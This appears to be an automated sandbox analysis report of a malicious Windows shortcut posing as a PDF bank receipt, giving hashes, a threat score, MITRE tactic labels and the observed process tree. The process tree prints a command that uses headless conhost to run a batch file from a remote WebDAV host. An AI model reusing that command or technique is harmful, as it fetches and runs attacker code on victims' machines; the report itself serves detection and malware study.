0a7047afb777d7c846313bf9852aa4f0d2b84626471076f92b2fc1427b12848c

Analysis

max time kernel
361s
max time network
362s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
08/08/2024, 19:30

Target
E_Statement_Receipt_96567839656789782_pdf.lnk
Size 1KB
Sample240808-x794hayanq
SHA256 0a7047afb777d7c846313bf9852aa4f0d2b84626471076f92b2fc1427b12848c
MD5 7c0a7666cc741870eb3bbf3fb6949478
SHA1 1250a01608854ca432f97e3becc532d295f27cee
SHA512 d68edd11cb4487cc147150844bfab401140cc35acc214aff02722116766a82b067768f66c595caf8374dc1b62dd9c6c402c15b8d54448043e1300c32902fbd54
MD5 SHA1 SHA512

Score

3^/10

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2308 wrote to memory of 2412	2308	cmd.exe	32
PID 2308 wrote to memory of 2412	2308	cmd.exe	32
PID 2308 wrote to memory of 2412	2308	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\E_Statement_Receipt_96567839656789782_pdf.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2308
- C:\Windows\System32\conhost.exe
  "C:\Windows\System32\conhost.exe" --headless \\trackmyshipeng.site@9270\DavWWWRoot\new.bat
  2⤵
  PID:2412

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact